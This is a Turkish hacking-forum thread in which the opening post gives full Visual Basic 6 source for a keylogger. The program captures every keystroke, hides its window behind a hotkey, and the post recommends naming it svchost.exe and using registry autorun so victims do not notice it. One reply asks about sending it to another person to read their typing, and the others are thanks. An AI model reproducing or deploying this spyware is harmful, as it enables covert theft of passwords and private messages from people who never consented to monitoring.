İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

Keylogger Yapımı !

14-03-2013 20:42
#1
Üyelik tarihi:
02/2013
Mesajlar:
37
Teşekkür (Etti):
1
Teşekkür (Aldı):
60
Konular:
9
Merhaba Arkadaşlar ;
Bu konumuzun adı keylogger olsa bu konu altında güvenlik adı altında öğreneceğiniz çok bilgi var
Konumuza giriş yapalım arkadaşlar ben vb6.0 da yazacam çünkü yazmış olduğum dosyanın boyutu çok az olmalıdır.Başlıyalım,Vb6.0 da yeni bir form açıyorum .Ve sizlere kolaylık olması amacıyla şöle bir liste çıkarıyorum ;
Gerekenler Listesi:
1 Adet Text Box
6 Adet Command Butonu
1 Adet Timer .

1 Adet CommonDialog (CRTL + T Basarak elde edebilirsiniz)
Görevleri :
TextBox: Hangi TUŞLARA basıldıysa onu göstermesi içindir.
Commonlar :Açma-Kapama-Gizleme-Kaydetme-Temizleme-Çıkış
Timer:Yazının yazılma SIklığı(Texte yazılabilmesi için ŞART)
Üzerinde Yapmanız Gerekenler :
TextBox: Aynen Dursun .
Commonlar İçin :
Name Caption
ac aç
gzle gizle
ky kaydet
cks çıkış
Şeklinde butonlar oluşturalım .
Açıklamalarıyla Şu Kodu Yapıştıralım
————–
Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
Private Sub ac_Click() ‘ Aç Menüsü
Dim yazı As String ‘Yazı yı String Yaptık
Dim x As String ‘X De String
On Error GoTo hatabulundu ‘ Hata Olduğunda Hatabulundu Etiketine Git
x = MsgBox(“Kaydetmek İstermisiniz?”, vbInformation + vbYesNo, “Çıkış”) ‘Kaydetmek İstediğini Sor
If x = vbYes Then ‘Eğer Cevap Evet İse
ky_Click ‘Kaydet Menüsüne Tıkla
Else ‘Değilse
Text1.Text = “” ‘Text1in İçindekini Sil
Cmd1.Filter = “Yazı Dosyası (*.txt)|*.txt” ‘Dosyaları Filtrele Sadece txt Dosyası
Cmd1.FilterIndex = 0 ’1.Filtreyi Seç
Cmd1.ShowOpen ‘Aç
Open Cmd1.FileName For Input As #1 ‘Cmd deki İsimli dosyayı Aç
Do Until EOF(1) ‘Satır 1 Olana Kadar Tekrarla
Input #1, yazı ‘Ve Hersatırdaki Yazıyı Yazı değişkenine ata
Text1.Text = Text1.Text + yazı + vbCrLf ‘ve onuda texte ata
Loop ‘Döngüyü Bitir
Close #1 ‘Kapat
End If
Exit Sub
hatabulundu: ‘Etiket
MsgBox “Hata!Hata Adı : ” & Err.Description, vbCritical, “Hata!” ‘Hata Ver
End Sub
Private Sub cks_Click() ‘Çıkış Menüsü
Dim x As String
x = MsgBox(“Kaydetmek İstermisiniz?”, vbInformation + vbYesNo, “Çıkış”) ‘Kaydetmek İstiyormusunuz Diye Sor
If x = vbYes Then ‘Cevap Evet İse
ky_Click ‘Kaydet Menüsüne Tıkla
Else ‘Değilse
End ‘Çık
End If
End Sub
Private Sub Form_Resize() ‘Form Boyutlandırıldığında
Text1.Left = 0 ‘Text1in left i 0
Text1.Top = 0 ‘Topda 0 Yani Başta
Text1.Width = Me.ScaleWidth ‘Uzunluğu Formun Uzunlğuna Eşitle
Text1.Height = Me.ScaleHeight ‘Genişliğide
End Sub
Private Sub gzle_Click() ‘Gizleye Tıkladığında
Me.Hide ‘Formu Gizle
End Sub
Private Sub ksy_Click() ‘Kısayol Tuşlarına Tıklandığında
MsgBox “Ctrl + Alt + P = Gizle” & vbCrLf & “Ctrl + Alt + G = Göster”, vbInformation, “Kısayol Tuşları” ‘Kısayol Tuşlarını Yaz
End Sub


Private Sub ky_Click()
On Error GoTo hatabulundu ‘Hata Olunca hatabulundu etiketine git
Cmd1.Filter = “Yazı Dosyası (*.txt)|*.txt” ‘Filtrele
Cmd1.FilterIndex = 0 ‘İlk i Seç
Cmd1.ShowSave ‘Kaydet
Open Cmd1.FileName For Output As #1 ‘O isimli bir dosya oluştur
Print #1, Text1.Text ‘İçine text1 dekileri yaz
Close #1 ‘Kapat
Exit Sub
hatabulundu: ‘Etiket
MsgBox “Hata!Hata Adı : ” & Err.Description, vbCritical, “Hata!”
End Sub
Private Sub Label4_Click()
End Sub
Private Sub Timer1_Timer()
Dim i As Long
If GetAsyncKeyState(17) And GetAsyncKeyState(18) And GetAsyncKeyState(71) Then Me.Show
If GetAsyncKeyState(17) And GetAsyncKeyState(18) And GetAsyncKeyState(80) Then Me.Hide
‘Ctrl Alt G Ye Bastığında göster Ctrl Alt P Ye Bastığında Gizle
For i = 5 To 200 ‘İ yi 5 den 200e kadar tekrarla
If GetAsyncKeyState(i) <> 0 Then ‘Basılan tuşun kodu 5 ile 200 arasında ise
Text1.Text = Text1.Text & Chr(i) ‘Basılan tuşu Texte Yaz
End If
Next
End Sub
Private Sub tmz_Click() ‘Temizleye Tıkladığında
Text1.Text = “” ‘Textdeki Yazıları Sil
End Sub
—
Şimdi ise kaydetme işlemine geldik sevgili arkadaşlar Görev yöneticisini açtığınızda svchost.exe çok vardır bu yüzden svchost.exe olarak klaydettip çalıştabilirsiniz
CRTL+ALT+G ————- Gizliden Açar
CRTL+ALT+P ————– Gizler
Buradan da Çıkardığımız Sonuç Olarak ;
Görev yöneticinizdeki svchost.exe lere
Regeditte tasakvisible adında (bashetmiştik autorunda)taskvisible gibi komutlarak
Dikkat edelim!
Kullanıcı İmzası
İşgaldaki hâli sakın unutma,
Atatürk’e dil uzatma sebepsiz.
Sen gene anandan çıkardın amma,
Baban kimdi bilemezdin şerefsiz.


YARDIM EDEBİLDİYSEM Emeğe Saygı !

Teşekkür Etmeyi Unutma
TrueHack Teşekkür etti.

12-04-2013 19:46
#2
Üyelik tarihi:
02/2013
Nereden:
[ THT ]
Mesajlar:
1.122
Teşekkür (Etti):
39
Teşekkür (Aldı):
176
Konular:
157
Saol Kardeş.
Kullanıcı İmzası
Hack İs My Life
14-04-2013 12:39
#3
Oruc Reis - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2013
Mesajlar:
89
Teşekkür (Etti):
27
Teşekkür (Aldı):
37
Konular:
3
sağol
14-04-2013 13:57
#4
ThugLove3 - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
04/2013
Mesajlar:
6
Teşekkür (Etti):
0
Teşekkür (Aldı):
0
Konular:
2
kardeş şimdi bunu yapsa karşı kişiye göndersem..o hangi duşlara basıyo hepsi ban gelirmi ??
14-04-2013 14:01
#5
ThugLove3 - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
04/2013
Mesajlar:
6
Teşekkür (Etti):
0
Teşekkür (Aldı):
0
Konular:
2
yaw..bunun bitmiş halini upload et be..birsürü şey yazmışaın..kodumu yazak senin yazınımı yazak çok karışık yapmışsın..sen yazını boşver sadece kodu yaz ..yazı yazarsanda ayrı yaz a.q kafamız karışıyo
14-07-2013 09:23
#6
Gurbett - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2013
Mesajlar:
74
Teşekkür (Etti):
13
Teşekkür (Aldı):
2
Konular:
0
faydalı konu

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı